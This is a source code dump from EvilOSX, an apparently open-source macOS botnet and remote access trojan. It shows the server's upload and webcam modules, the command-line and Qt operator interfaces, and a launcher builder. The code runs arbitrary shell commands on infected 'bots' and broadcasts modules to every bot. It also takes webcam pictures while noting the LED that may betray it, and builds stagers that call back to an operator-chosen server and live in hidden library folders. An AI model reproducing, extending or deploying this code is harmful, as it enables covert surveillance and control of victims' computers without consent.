"Stoppable": False 15 | } 16 | 17 | def setup(self, set_options): 18 | self._view.display_error("This feature hasn't been implemented yet!") 19 | return False, None 20 | -------------------------------------------------------------------------------- /server/modules/server/upload.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | from os import path 7 | from threading import Thread 8 | from time import sleep 9 | 10 | 11 | class Module(ModuleABC): 12 | def get_info(self): 13 | return { 14 | "Author:": ["Marten4n6"], 15 | "Description": "Upload a file to the bot.", 16 | "References": [], 17 | "Stoppable": False 18 | } 19 | 20 | def get_setup_messages(self): 21 | return [ 22 | "Path to the local file to upload: ", 23 | "Remote output directory (Leave empty for /tmp): ", 24 | "New file name (Leave empty to skip): " 25 | ] 26 | 27 | def setup(self, set_options): 28 | local_file = path.expanduser(set_options[0]) 29 | output_dir = set_options[1] 30 | output_name = set_options[2] 31 | 32 | if not output_dir: 33 | output_dir = "/var/tmp" 34 | if not output_name: 35 | output_name = path.basename(local_file) 36 | 37 | if not path.exists(local_file): 38 | self._view.display_error("Failed to find local file: {}".format(local_file), "attention") 39 | return False, None 40 | else: 41 | download_path = random_string(16) 42 | 43 | self._model.add_upload_file(download_path, local_file) 44 | 45 | self._view.output("Started hosting the file at: /{}".format(download_path)) 46 | self._view.output("This link will automatically expire after 60 seconds.") 47 | 48 | cleanup_thread = Thread(target=self._cleanup_thread, args=(download_path,)) 49 | cleanup_thread.daemon = True 50 | cleanup_thread.start() 51 | 52 | return True, { 53 | "download_path": download_path, 54 | "output_dir": output_dir, 55 | "output_name": output_name 56 | } 57 | 58 | def _cleanup_thread(self, url_path): 59 | sleep(60 * 1) 60 | 61 | self._model.remove_upload_file(url_path) 62 | self._view.output_separator() 63 | self._view.output("Upload link expired", "info") 64 | -------------------------------------------------------------------------------- /server/modules/server/webcam.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from base64 import b64decode 6 | from os import mkdir 7 | 8 | from server.modules.helper import * 9 | 10 | 11 | class Module(ModuleABC): 12 | def get_info(self): 13 | return { 14 | "Author:": ["Marten4n6"], 15 | "Description": "Take a picture using the bot's webcam.", 16 | "References": [ 17 | "https://github.com/rharder/imagesnap" 18 | ], 19 | "Stoppable": False 20 | } 21 | 22 | def get_setup_messages(self): 23 | return [ 24 | "Local output name (Leave empty for ): " 25 | ] 26 | 27 | def setup(self, set_options): 28 | should_continue = self._view.should_continue([ 29 | "A green LED will show next to the bot's camera (for about a second).", 30 | "This module also touches the disk." 31 | ]) 32 | 33 | if should_continue: 34 | output_name = set_options[0] 35 | 36 | if not output_name: 37 | output_name = random_string(8) 38 | 39 | return True, { 40 | "response_options": { 41 | "output_name": output_name 42 | } 43 | } 44 | else: 45 | return False, None 46 | 47 | def process_response(self, response, response_options): 48 | output_name = "{}.png".format(response_options["output_name"]) 49 | output_file = path.join(OUTPUT_DIRECTORY, output_name) 50 | 51 | str_response = response.decode() 52 | 53 | if not path.isdir(OUTPUT_DIRECTORY): 54 | mkdir(OUTPUT_DIRECTORY) 55 | 56 | if "Error executing" in str_response: 57 | self._view.output(str_response) 58 | else: 59 | with open(output_file, "wb") as open_file: 60 | open_file.write(b64decode(response)) 61 | 62 | self._view.output_separator() 63 | self._view.output("Webcam picture saved to: {}".format(path.realpath(output_file)), "info") 64 | -------------------------------------------------------------------------------- /server/version.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Keeps track of the current server version. 3 | 4 | See https://semver.org 5 | """ 6 | __author__ = "Marten4n6" 7 | __license__ = "GPLv3" 8 | 9 | VERSION = "7.2.1" 10 | -------------------------------------------------------------------------------- /server/view/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/server/view/__init__.py -------------------------------------------------------------------------------- /server/view/cli.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from threading import Lock, current_thread 6 | from threading import Thread 7 | from time import strftime, localtime 8 | 9 | import urwid 10 | from queue import Queue 11 | 12 | from bot import loaders 13 | from server import modules 14 | from server.model import Command, CommandType 15 | from server.modules.helper import ModuleViewABC 16 | from server.version import VERSION 17 | from server.view.helper import * 18 | 19 | 20 | class _OutputView: 21 | """This class shows the command output view.""" 22 | 23 | def __init__(self, max_size=69): 24 | self._max_size = max_size 25 | 26 | self._output_view = urwid.ListBox(urwid.SimpleListWalker([])) 27 | self._lock = Lock() 28 | 29 | self._main_loop = None 30 | 31 | def get(self): 32 | """ 33 | :rtype: urwid.ListBox 34 | """ 35 | return self._output_view 36 | 37 | def set_main_loop(self, main_loop): 38 | self._main_loop = main_loop 39 | 40 | def add(self, line, prefix=""): 41 | """ 42 | :type line: str 43 | :type prefix: str 44 | """ 45 | with self._lock: 46 | was_on_end = self._output_view.get_focus()[1] == len(self._output_view.body) - 1 47 | 48 | if len(self._output_view.body) > self._max_size: 49 | # Size limit reached, delete the first line. 50 | del self._output_view.body[0] 51 | 52 | if prefix == "info": 53 | self._output_view.body.append(urwid.Text([('normal', "["), ('info', "I"), ("normal", "] " + line)])) 54 | elif prefix == "input": 55 | self._output_view.body.append(urwid.Text([('normal', "["), ('reversed', "?"), ("normal", "] " + line)])) 56 | elif prefix == "attention": 57 | self._output_view.body.append( 58 | urwid.Text([('normal', "["), ('attention', "!"), ("normal", "] " + line)])) 59 | else: 60 | self._output_view.body.append(urwid.Text(line)) 61 | 62 | if was_on_end: 63 | self._output_view.set_focus(len(self._output_view.body) - 1, "above") 64 | 65 | self._async_reload() 66 | 67 | def clear(self): 68 | with self._lock: 69 | del self._output_view.body[:] 70 | self._async_reload() 71 | 72 | def _async_reload(self): 73 | # Required if this method is called from a different thread asynchronously. 74 | if self._main_loop and self._main_loop != current_thread(): 75 | self._main_loop.draw_screen() 76 | 77 | 78 | class _CommandInput(urwid.Pile): 79 | """This class shows the command input view.""" 80 | signals = ["line_entered"] 81 | 82 | def __init__(self): 83 | self._header = urwid.Text("Command: ") 84 | self._edit_box = urwid.Edit() 85 | self._output_list = urwid.ListBox(urwid.SimpleFocusListWalker([])) 86 | self._output_layout = urwid.BoxAdapter(self._output_list, 0) # Dynamically change size. 87 | 88 | self._lock = Lock() 89 | self._prompt_mode = False 90 | self._prompt_queue = Queue() 91 | 92 | self._main_loop = None 93 | 94 | urwid.Pile.__init__(self, [ 95 | urwid.AttrWrap(self._header, "reversed"), 96 | self._output_layout, 97 | self._edit_box 98 | ]) 99 | 100 | self.focus_item = self._edit_box 101 | 102 | def set_main_loop(self, main_loop): 103 | self._main_loop = main_loop 104 | 105 | def set_header_text(self, text): 106 | """ 107 | :type text: str 108 | """ 109 | with self._lock: 110 | self._header.set_text(text) 111 | self._async_reload() 112 | 113 | def add(self, line, prefix=""): 114 | """" 115 | :type line: str 116 | :type prefix: str 117 | """ 118 | with self._lock: 119 | # Set the height of the output list so the line is actually visible. 120 | self._output_layout.height = len(self._output_list.body) + 1 121 | 122 | if prefix == "info": 123 | self._output_list.body.append(urwid.Text([("normal", "["), ("info", "I"), ("normal", "] " + line)])) 124 | elif prefix == "input": 125 | self._output_list.body.append(urwid.Text("[?] " + line)) 126 | elif prefix == "attention": 127 | self._output_list.body.append( 128 | urwid.Text([("normal", "["), ("attention", "!"), ("normal", "] " + line)])) 129 | else: 130 | self._output_list.body.append(urwid.Text(line)) 131 | 132 | self._async_reload() 133 | 134 | def clear(self): 135 | with self._lock: 136 | del self._output_list.body[:] 137 | self._output_layout.height = 0 138 | self._async_reload() 139 | 140 | def get_prompt_input(self): 141 | """ 142 | :rtype: str 143 | """ 144 | self._prompt_mode = True 145 | 146 | # Wait for user input. 147 | return self._prompt_queue.get() 148 | 149 | def keypress(self, size, key): 150 | if key == "enter": 151 | command = self._edit_box.edit_text 152 | 153 | if self._prompt_mode: 154 | # We're in prompt mode, return the value 155 | # to the queue which unblocks the prompt method. 156 | self._prompt_queue.put(command) 157 | self._prompt_mode = False 158 | self.clear() 159 | else: 160 | # Normal mode, call listeners. 161 | urwid.emit_signal(self, "line_entered", command) 162 | 163 | self._edit_box.edit_text = "" 164 | else: 165 | urwid.Edit.keypress(self._edit_box, size, key) 166 | 167 | def _async_reload(self): 168 | # Required if this method is called from a different thread asynchronously. 169 | if self._main_loop and self._main_loop != current_thread(): 170 | self._main_loop.draw_screen() 171 | 172 | 173 | class _ModuleView(ModuleViewABC): 174 | """Class which allows modules to interact with the view.""" 175 | 176 | def __init__(self, view): 177 | self._view = view 178 | 179 | def display_error(self, message): 180 | """ 181 | :type message: str 182 | """ 183 | self._view.output(message, "attention") 184 | 185 | def display_info(self, message): 186 | """ 187 | :type message: str 188 | """ 189 | self._view.output(message, "info") 190 | 191 | def should_continue(self, messages): 192 | """ 193 | :type messages: list[str] 194 | :rtype: bool 195 | """ 196 | lines = [] 197 | 198 | for message in messages: 199 | lines.append((message, "")) 200 | 201 | confirm = self._view.prompt("Are you sure you want to continue? [Y/n]", lines).lower() 202 | 203 | if not confirm or confirm == "y": 204 | return True 205 | else: 206 | return False 207 | 208 | def output(self, line, prefix=""): 209 | """ 210 | :type line: str 211 | :type prefix: str 212 | """ 213 | self._view.output(line, prefix) 214 | 215 | 216 | class ViewCLI(ViewABC): 217 | """This class interacts with the user via a command line interface. 218 | 219 | The controller will register all listeners (set_on_*) for this view. 220 | """ 221 | 222 | def __init__(self, model, server_port): 223 | self._model = model 224 | self._server_port = server_port 225 | 226 | self._PALETTE = [ 227 | ("reversed", urwid.BLACK, urwid.LIGHT_GRAY), 228 | ("normal", urwid.LIGHT_GRAY, urwid.BLACK), 229 | ("info", urwid.LIGHT_BLUE, urwid.BLACK), 230 | ("attention", urwid.LIGHT_RED, urwid.BLACK) 231 | ] 232 | 233 | self._header = urwid.Text("") 234 | self._output_view = _OutputView() 235 | self._command_input = _CommandInput() 236 | 237 | self._main_loop = None 238 | self._connected_bot = None 239 | 240 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: 0".format(VERSION, server_port)) 241 | self.output("Server started, waiting for connections...", "info") 242 | self.output("Type \"help\" to show the help menu.", "info") 243 | 244 | # http://urwid.org/reference/signals.html 245 | urwid.connect_signal(self._command_input, "line_entered", self._process_command) 246 | 247 | # Initialize the frame. 248 | self._frame = urwid.Frame( 249 | header=urwid.AttrWrap(self._header, "reversed"), 250 | body=self._output_view.get(), 251 | footer=self._command_input 252 | ) 253 | 254 | self._frame.set_focus_path(["footer", 2]) 255 | 256 | def output(self, line, prefix=""): 257 | """ 258 | :type line: str 259 | :type prefix: str 260 | """ 261 | self._output_view.add(line, prefix) 262 | 263 | def on_response(self, response): 264 | """ 265 | :type response: str 266 | """ 267 | self.output_separator() 268 | 269 | for line in response.splitlines(): 270 | self.output(line) 271 | 272 | def on_bot_added(self, bot): 273 | """ 274 | :type bot: Bot 275 | """ 276 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: {}".format( 277 | VERSION, self._server_port, self._model.get_bot_amount() 278 | )) 279 | 280 | def on_bot_removed(self, bot): 281 | """ 282 | :type bot: Bot 283 | """ 284 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: {}".format( 285 | VERSION, self._server_port, self._model.get_bot_amount() 286 | )) 287 | 288 | def on_bot_path_change(self, bot): 289 | """ 290 | :type bot: Bot 291 | """ 292 | self.set_footer_text("Command ({}@{}, {}): ".format( 293 | bot.username, bot.hostname, bot.local_path 294 | )) 295 | 296 | def prompt(self, prompt_text, lines=None): 297 | """ 298 | :type prompt_text: str 299 | :type lines: list or None 300 | :rtype: str 301 | """ 302 | if lines: 303 | for line in lines: 304 | self._command_input.add(*line) 305 | self._command_input.add(prompt_text, "input") 306 | 307 | return self._command_input.get_prompt_input() 308 | 309 | def _process_command(self, command): 310 | """ 311 | :type command: str 312 | """ 313 | if command.strip() == "": 314 | return 315 | 316 | self.output_separator() 317 | 318 | if command == "help": 319 | self.output("Commands other than the ones listed below will be run on the connected " 320 | "bot as a shell command.", "attention") 321 | self.output("help - Show this help menu.") 322 | self.output("bots - Show the amount of available bots.") 323 | self.output("connect - Start interacting with the bot (required before using \"use\").") 324 | self.output("modules - Show a list of available modules.") 325 | self.output("use - Run the module on the connected bot.") 326 | self.output("stop - Ask the module to stop executing.") 327 | self.output("useall - Set the module which will be run on every bot.") 328 | self.output("stopall - Clear the globally set module.") 329 | self.output("clear - Clear the screen.") 330 | self.output("exit/q/quit - Close the server and exit.") 331 | elif command.startswith("bots"): 332 | if command == "bots": 333 | bots = self._model.get_bots(limit=10) 334 | 335 | if not bots: 336 | self.output("There are no available bots.", "attention") 337 | else: 338 | self.output("No page specified, showing the first page.", "info") 339 | self.output("Use \"bots \" to see a different page (each page is 10 results).", "info") 340 | 341 | for i, bot in enumerate(self._model.get_bots(limit=10)): 342 | self.output("{} = \"{}@{}\" (last seen: {})".format( 343 | str(i), bot.username, bot.hostname, 344 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online)) 345 | )) 346 | else: 347 | try: 348 | # Show the bots of the given "page". 349 | page_number = int(command.split(" ")[1]) 350 | 351 | if page_number <= 0: 352 | page_number = 1 353 | 354 | skip_amount = (page_number * 10) - 10 355 | bots = self._model.get_bots(limit=10, skip_amount=skip_amount) 356 | 357 | if not bots: 358 | self.output("There are no available bots on this page.", "attention") 359 | else: 360 | self.output("Showing bots on page {}.".format(page_number), "info") 361 | 362 | for i, bot in enumerate(bots): 363 | self.output("{} = \"{}@{}\" (last seen: {})".format( 364 | str(i), bot.username, bot.hostname, 365 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online)) 366 | )) 367 | except ValueError: 368 | self.output("Invalid page number.", "attention") 369 | elif command.startswith("connect"): 370 | try: 371 | specified_id = int(command.split(" ")[1]) 372 | self._connected_bot = self._model.get_bots()[specified_id] 373 | 374 | self.output("Connected to \"%s@%s\", ready to send commands." % ( 375 | self._connected_bot.username, self._connected_bot.hostname 376 | ), "info") 377 | self.set_footer_text("Command ({}@{}, {}): ".format( 378 | self._connected_bot.username, self._connected_bot.hostname, self._connected_bot.local_path 379 | )) 380 | except (IndexError, ValueError): 381 | self.output("Invalid bot ID (see \"bots\").", "attention") 382 | self.output("Usage: connect ", "attention") 383 | elif command == "modules": 384 | self.output("Type \"use \" to use a module.", "info") 385 | 386 | for module_name in modules.get_names(): 387 | try: 388 | module = modules.get_module(module_name) 389 | 390 | if not module: 391 | module_view = _ModuleView(self) 392 | module = modules.load_module(module_name, module_view, self._model) 393 | 394 | self.output("{:16} - {}".format(module_name, module.get_info()["Description"])) 395 | except AttributeError as ex: 396 | self.output(str(ex), "attention") 397 | elif command.startswith("useall"): 398 | if command == "useall": 399 | self.output("Usage: useall ", "attention") 400 | self.output("Type \"modules\" to get a list of available modules.", "attention") 401 | else: 402 | module_name = command.split(" ")[1] 403 | 404 | module_thread = Thread(target=self._run_module, args=(module_name, True)) 405 | module_thread.daemon = True 406 | module_thread.start() 407 | elif command == "clear": 408 | self.clear() 409 | elif command in ["exit", "q", "quit"]: 410 | raise urwid.ExitMainLoop() 411 | else: 412 | # Commands that require a connected bot. 413 | if not self._connected_bot: 414 | self.output("You must be connected to a bot to perform this action.", "attention") 415 | self.output("Type \"connect \" to connect to a bot.", "attention") 416 | else: 417 | if command.startswith("use"): 418 | if command == "use": 419 | self.output("Usage: use ", "attention") 420 | self.output("Type \"modules\" to get a list of available modules.", "attention") 421 | else: 422 | module_name = command.split(" ")[1] 423 | 424 | module_thread = Thread(target=self._run_module, args=(module_name,)) 425 | module_thread.daemon = True 426 | module_thread.start() 427 | else: 428 | # Regular shell command. 429 | self.output("Executing command: {}".format(command), "info") 430 | self._model.add_command(self._connected_bot.uid, Command(CommandType.SHELL, command.encode())) 431 | 432 | def _run_module(self, module_name, mass_execute=False): 433 | """Setup then run the module, required because otherwise calls to prompt block the main thread.""" 434 | try: 435 | module = modules.get_module(module_name) 436 | code = ("", b"") 437 | 438 | if not module: 439 | module_view = _ModuleView(self) 440 | module = modules.load_module(module_name, module_view, self._model) 441 | 442 | set_options = [] 443 | 444 | for setup_message in module.get_setup_messages(): 445 | set_options.append(self.prompt(setup_message)) 446 | 447 | successful, options = module.setup(set_options) 448 | 449 | if not successful: 450 | self.output("Module setup failed or cancelled.", "attention") 451 | else: 452 | if not options: 453 | options = {} 454 | 455 | options["module_name"] = module_name 456 | 457 | if mass_execute: 458 | bots = self._model.get_bots() 459 | 460 | for bot in bots: 461 | if module_name == "remove_bot": 462 | if code[0] != bot.loader_name: 463 | code = (bot.loader_name, loaders.get_remove_code(bot.loader_name)) 464 | elif module_name == "update_bot": 465 | if code[0] != bot.loader_name: 466 | code = (bot.loader_name, loaders.get_update_code(bot.loader_name)) 467 | else: 468 | if not code[0]: 469 | code = ("", modules.get_code(module_name)) 470 | 471 | self._model.add_command(bot.uid, Command( 472 | CommandType.MODULE, code[1], options 473 | )) 474 | 475 | self.output("Module added to the queue of {} bot(s).".format(len(bots)), "info") 476 | else: 477 | if module_name == "remove_bot": 478 | code = loaders.get_remove_code(self._connected_bot.loader_name) 479 | elif module_name == "update_bot": 480 | code = loaders.get_update_code(self._connected_bot.loader_name) 481 | else: 482 | code = modules.get_code(module_name) 483 | 484 | self._model.add_command(self._connected_bot.uid, Command( 485 | CommandType.MODULE, code, options 486 | )) 487 | 488 | self.output("Module added to the queue of \"{}@{}\".".format( 489 | self._connected_bot.username, self._connected_bot.hostname 490 | ), "info") 491 | except ImportError: 492 | self.output("Failed to find module: {}".format(module_name), "attention") 493 | self.output("Type \"modules\" to get a list of available modules.", "attention") 494 | 495 | def set_window_title(self, text): 496 | """ 497 | :type text: str 498 | """ 499 | self._header.set_text(text) 500 | self._async_reload() 501 | 502 | def set_footer_text(self, text): 503 | """ 504 | :type text: str 505 | """ 506 | self._command_input.set_header_text(text) 507 | 508 | def clear(self): 509 | self._output_view.clear() 510 | 511 | def start(self): 512 | main_loop = urwid.MainLoop(self._frame, self._PALETTE, handle_mouse=True) 513 | 514 | self._set_main_loop(main_loop) 515 | self._output_view.set_main_loop(main_loop) 516 | self._command_input.set_main_loop(main_loop) 517 | main_loop.run() 518 | 519 | def _set_main_loop(self, main_loop): 520 | self._main_loop = main_loop 521 | 522 | def _async_reload(self): 523 | # Required if this method is called from a different thread asynchronously. 524 | if self._main_loop and self._main_loop != current_thread(): 525 | self._main_loop.draw_screen() 526 | -------------------------------------------------------------------------------- /server/view/gui.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from os import path 6 | from time import strftime, localtime 7 | from uuid import uuid4 8 | 9 | from PySide2.QtCore import Qt 10 | from PySide2.QtGui import QPalette, QColor, QPixmap 11 | from PySide2.QtWidgets import QApplication, QMainWindow, QTabWidget, QTableWidget, QWidget, \ 12 | QLabel, QHBoxLayout, QGridLayout, QSplitter, QAbstractItemView, QHeaderView, QTableWidgetItem, \ 13 | QComboBox, QLineEdit, QPushButton, QVBoxLayout, QMessageBox, QTextEdit 14 | 15 | from bot import launchers, loaders 16 | from server import modules 17 | from server.model import Command, CommandType 18 | from server.modules.helper import ModuleViewABC 19 | from server.version import VERSION 20 | from server.view.helper import * 21 | 22 | 23 | class _BuilderTab(QWidget): 24 | """Handles the creation of launchers.""" 25 | 26 | def __init__(self): 27 | super(_BuilderTab, self).__init__() 28 | 29 | self._layout = QVBoxLayout() 30 | 31 | host_label = QLabel("Server host (where EvilOSX will connect to):") 32 | self._host_field = QLineEdit() 33 | 34 | self._layout.addWidget(host_label) 35 | self._layout.addWidget(self._host_field) 36 | 37 | port_label = QLabel("Server port:") 38 | self._port_field = QLineEdit() 39 | 40 | self._layout.addWidget(port_label) 41 | self._layout.addWidget(self._port_field) 42 | 43 | live_label = QLabel("Where should EvilOSX live? (Leave empty for ~/Library/Containers/.): ") 44 | self._live_field = QLineEdit() 45 | 46 | self._layout.addWidget(live_label) 47 | self._layout.addWidget(self._live_field) 48 | 49 | launcher_label = QLabel("Launcher name:") 50 | self._launcher_combobox = QComboBox() 51 | 52 | for launcher_name in launchers.get_names(): 53 | self._launcher_combobox.addItem(launcher_name) 54 | 55 | self._layout.addWidget(launcher_label) 56 | self._layout.addWidget(self._launcher_combobox) 57 | 58 | loader_label = QLabel("Loader name:") 59 | loader_combobox = QComboBox() 60 | self._loader_layout = QVBoxLayout() 61 | 62 | for loader_name in loaders.get_names(): 63 | loader_combobox.addItem(loader_name) 64 | 65 | self._layout.addWidget(loader_label) 66 | self._layout.addWidget(loader_combobox) 67 | loader_combobox.currentTextChanged.connect(self._set_on_loader_change) 68 | 69 | # Dynamically loaded loader layout 70 | self._layout.addLayout(self._loader_layout) 71 | self._set_on_loader_change(loader_combobox.currentText()) 72 | 73 | self._layout.setContentsMargins(10, 10, 10, 0) 74 | self._layout.setAlignment(Qt.AlignTop) 75 | self.setLayout(self._layout) 76 | 77 | def _set_on_loader_change(self, new_text): 78 | """Handles the loader combobox change event. 79 | 80 | :type new_text: str 81 | """ 82 | while self._loader_layout.count(): 83 | child = self._loader_layout.takeAt(0) 84 | 85 | if child.widget(): 86 | child.widget().deleteLater() 87 | 88 | input_fields = [] 89 | 90 | for message in loaders.get_option_messages(new_text): 91 | input_field = QLineEdit() 92 | 93 | self._loader_layout.addWidget(QLabel(message)) 94 | self._loader_layout.addWidget(input_field) 95 | input_fields.append(input_field) 96 | 97 | create_button = QPushButton("Create launcher") 98 | create_button.setMaximumWidth(250) 99 | create_button.setMinimumHeight(30) 100 | create_button.pressed.connect(lambda: self._on_create_launcher( 101 | self._host_field.text(), self._port_field.text(), self._live_field.text(), 102 | new_text, self._launcher_combobox.currentText(), input_fields 103 | )) 104 | 105 | self._loader_layout.addWidget(QLabel("")) 106 | self._loader_layout.addWidget(create_button) 107 | 108 | @staticmethod 109 | def display_error(text): 110 | """Displays an error message to the user. 111 | 112 | :type text: str 113 | """ 114 | message = QMessageBox() 115 | 116 | message.setIcon(QMessageBox.Critical) 117 | message.setWindowTitle("Error") 118 | message.setText(text) 119 | message.setStandardButtons(QMessageBox.Ok) 120 | message.exec_() 121 | 122 | @staticmethod 123 | def display_info(text): 124 | """ 125 | :type text: str 126 | """ 127 | message = QMessageBox() 128 | 129 | message.setIcon(QMessageBox.Information) 130 | message.setWindowTitle("Information") 131 | message.setText(text) 132 | message.setStandardButtons(QMessageBox.Ok) 133 | message.exec_() 134 | 135 | def _on_create_launcher(self, server_host, server_port, program_directory, 136 | loader_name, launcher_name, input_fields): 137 | """Creates the launcher and outputs it to the builds directory. 138 | 139 | :type server_host: str 140 | :type server_port: int 141 | :type program_directory: str 142 | :type loader_name: str 143 | :type launcher_name: str 144 | :type input_fields: list 145 | """ 146 | if not self._host_field.text(): 147 | self.display_error("Invalid host specified.") 148 | elif not str(self._port_field.text()).isdigit(): 149 | self.display_error("Invalid port specified.") 150 | else: 151 | set_options = [] 152 | 153 | for field in input_fields: 154 | set_options.append(field.text()) 155 | 156 | loader_options = loaders.get_options(loader_name, set_options) 157 | loader_options["program_directory"] = program_directory 158 | 159 | stager = launchers.create_stager(server_host, server_port, loader_options) 160 | 161 | launcher_extension, launcher = launchers.generate(launcher_name, stager) 162 | launcher_path = path.realpath(path.join( 163 | path.dirname(__file__), path.pardir, path.pardir, "data", "builds", "Launcher-{}.{}".format( 164 | str(uuid4())[:6], launcher_extension 165 | ))) 166 | 167 | with open(launcher_path, "w") as output_file: 168 | output_file.write(launcher) 169 | 170 | self.display_info("Launcher written to: \n{}".format(launcher_path)) 171 | 172 | 173 | class _BroadcastTab(QWidget): 174 | """Tab used to interact with the whole botnet at once.""" 175 | 176 | def __init__(self, model): 177 | super(_BroadcastTab, self).__init__() 178 | 179 | self._model = model 180 | 181 | layout = QVBoxLayout() 182 | label = QLabel("This tab is not yet implemented.") 183 | 184 | label.setAlignment(Qt.AlignTop) 185 | layout.addWidget(label) 186 | 187 | self.setLayout(layout) 188 | 189 | 190 | class _ResponsesTab(QTabWidget): 191 | """Tab which shows all module and shell responses.""" 192 | 193 | def __init__(self): 194 | super(_ResponsesTab, self).__init__() 195 | 196 | layout = QVBoxLayout() 197 | self._output_field = QTextEdit() 198 | 199 | self._output_field.setTextInteractionFlags(Qt.NoTextInteraction) 200 | self._output_field.setPlaceholderText("Please wait for responses...") 201 | 202 | layout.addWidget(self._output_field) 203 | self.setLayout(layout) 204 | 205 | def clear(self): 206 | """Clears all output.""" 207 | self._output_field.clear() 208 | 209 | def output(self, text): 210 | """Adds a line to the output field. 211 | 212 | :type text: str 213 | """ 214 | self._output_field.append(text) 215 | 216 | 217 | class ModuleView(ModuleViewABC): 218 | """Used by modules to interact with this GUI.""" 219 | 220 | def __init__(self, responses_tab): 221 | """ 222 | :type responses_tab: _ResponsesTab 223 | """ 224 | self._responses_tab = responses_tab 225 | 226 | def display_error(self, text): 227 | """ 228 | :type text: str 229 | """ 230 | message_box = QMessageBox() 231 | 232 | message_box.setIcon(QMessageBox.Critical) 233 | message_box.setWindowTitle("Error") 234 | message_box.setText(text) 235 | message_box.setStandardButtons(QMessageBox.Ok) 236 | message_box.exec_() 237 | 238 | def display_info(self, text): 239 | """ 240 | :type text: str 241 | """ 242 | message_box = QMessageBox() 243 | 244 | message_box.setIcon(QMessageBox.Information) 245 | message_box.setWindowTitle("Information") 246 | message_box.setText(text) 247 | message_box.setStandardButtons(QMessageBox.Ok) 248 | message_box.exec_() 249 | 250 | def should_continue(self, messages): 251 | """ 252 | :type messages: list[str] 253 | :rtype: bool 254 | """ 255 | messages.append("\nAre you sure you want to continue?") 256 | 257 | confirm = QMessageBox.question(self._responses_tab, "Confirmation", 258 | "\n".join(messages), QMessageBox.Yes, QMessageBox.No) 259 | 260 | if confirm == QMessageBox.Yes: 261 | return True 262 | else: 263 | return False 264 | 265 | def output(self, line, prefix=""): 266 | """ 267 | :type line: str 268 | :type prefix: str 269 | """ 270 | self._responses_tab.output(line) 271 | 272 | 273 | class _ExecuteTab(QTabWidget): 274 | """Tab used to execute modules or shell commands on the selected bot.""" 275 | 276 | def __init__(self, responses_tab, model): 277 | """ 278 | :type responses_tab: _ResponsesTab 279 | """ 280 | super(_ExecuteTab, self).__init__() 281 | 282 | self._model = model 283 | self._current_layout = None 284 | self._current_bot = None 285 | 286 | self._layout = QGridLayout() 287 | self._sub_layout = QVBoxLayout() 288 | self._module_view = ModuleView(responses_tab) 289 | 290 | self._layout.setAlignment(Qt.AlignTop) 291 | self.setLayout(self._layout) 292 | self.set_empty_layout() 293 | 294 | def set_current_bot(self, bot): 295 | """Sets the connected bot this tab will interact with. 296 | 297 | :type bot: Bot 298 | """ 299 | self._current_bot = bot 300 | 301 | def _clear_layout(self): 302 | while self._layout.count(): 303 | child = self._layout.takeAt(0) 304 | 305 | if child.widget(): 306 | child.widget().deleteLater() 307 | while self._sub_layout.count(): 308 | child = self._sub_layout.takeAt(0) 309 | 310 | if child.widget(): 311 | child.widget().deleteLater() 312 | 313 | def set_empty_layout(self): 314 | """Default layout shown when the user has not yet selected a row.""" 315 | self._current_layout = "Empty" 316 | self._clear_layout() 317 | 318 | self._layout.addWidget(QLabel("Please select a bot in the table above."), 0, 0) 319 | 320 | def set_module_layout(self, module_name="screenshot"): 321 | """Sets the layout which can execute modules. 322 | 323 | :type module_name: str 324 | """ 325 | self._current_layout = "Module" 326 | self._clear_layout() 327 | 328 | command_type_label = QLabel("Command type: ") 329 | command_type_combobox = QComboBox() 330 | 331 | command_type_combobox.addItem("Module") 332 | command_type_combobox.addItem("Shell") 333 | 334 | module_label = QLabel("Module name: ") 335 | module_combobox = QComboBox() 336 | 337 | for module_name in modules.get_names(): 338 | module_combobox.addItem(module_name) 339 | 340 | module_combobox.currentTextChanged.connect(self._on_module_change) 341 | command_type_combobox.currentTextChanged.connect(self._on_command_type_change) 342 | 343 | self._layout.setColumnStretch(1, 1) 344 | self._layout.addWidget(command_type_label, 0, 0) 345 | self._layout.addWidget(command_type_combobox, 0, 1) 346 | self._layout.addWidget(module_label, 1, 0) 347 | self._layout.addWidget(module_combobox, 1, 1) 348 | 349 | # Module layout 350 | cached_module = modules.get_module(module_name) 351 | 352 | if not cached_module: 353 | cached_module = modules.load_module(module_name, self._module_view, self._model) 354 | 355 | input_fields = [] 356 | 357 | for option_name in cached_module.get_setup_messages(): 358 | input_field = QLineEdit() 359 | 360 | self._sub_layout.addWidget(QLabel(option_name)) 361 | self._sub_layout.addWidget(input_field) 362 | input_fields.append(input_field) 363 | 364 | run_button = QPushButton("Run") 365 | run_button.setMaximumWidth(250) 366 | run_button.setMinimumHeight(25) 367 | 368 | run_button.pressed.connect(lambda: self._on_module_run(module_combobox.currentText(), input_fields)) 369 | 370 | self._sub_layout.addWidget(QLabel("")) 371 | self._sub_layout.addWidget(run_button) 372 | self._sub_layout.setContentsMargins(0, 15, 0, 0) 373 | self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) 374 | 375 | self._on_module_change(module_combobox.currentText()) 376 | 377 | def set_shell_layout(self): 378 | """Sets the layout which can execute shell commands.""" 379 | self._current_layout = "Shell" 380 | self._clear_layout() 381 | 382 | command_type_label = QLabel("Command type: ") 383 | command_type_combobox = QComboBox() 384 | 385 | command_type_combobox.addItem("Shell") 386 | command_type_combobox.addItem("Module") 387 | 388 | command_label = QLabel("Command:") 389 | command_input = QLineEdit() 390 | 391 | run_button = QPushButton("Run") 392 | run_button.setMaximumWidth(250) 393 | 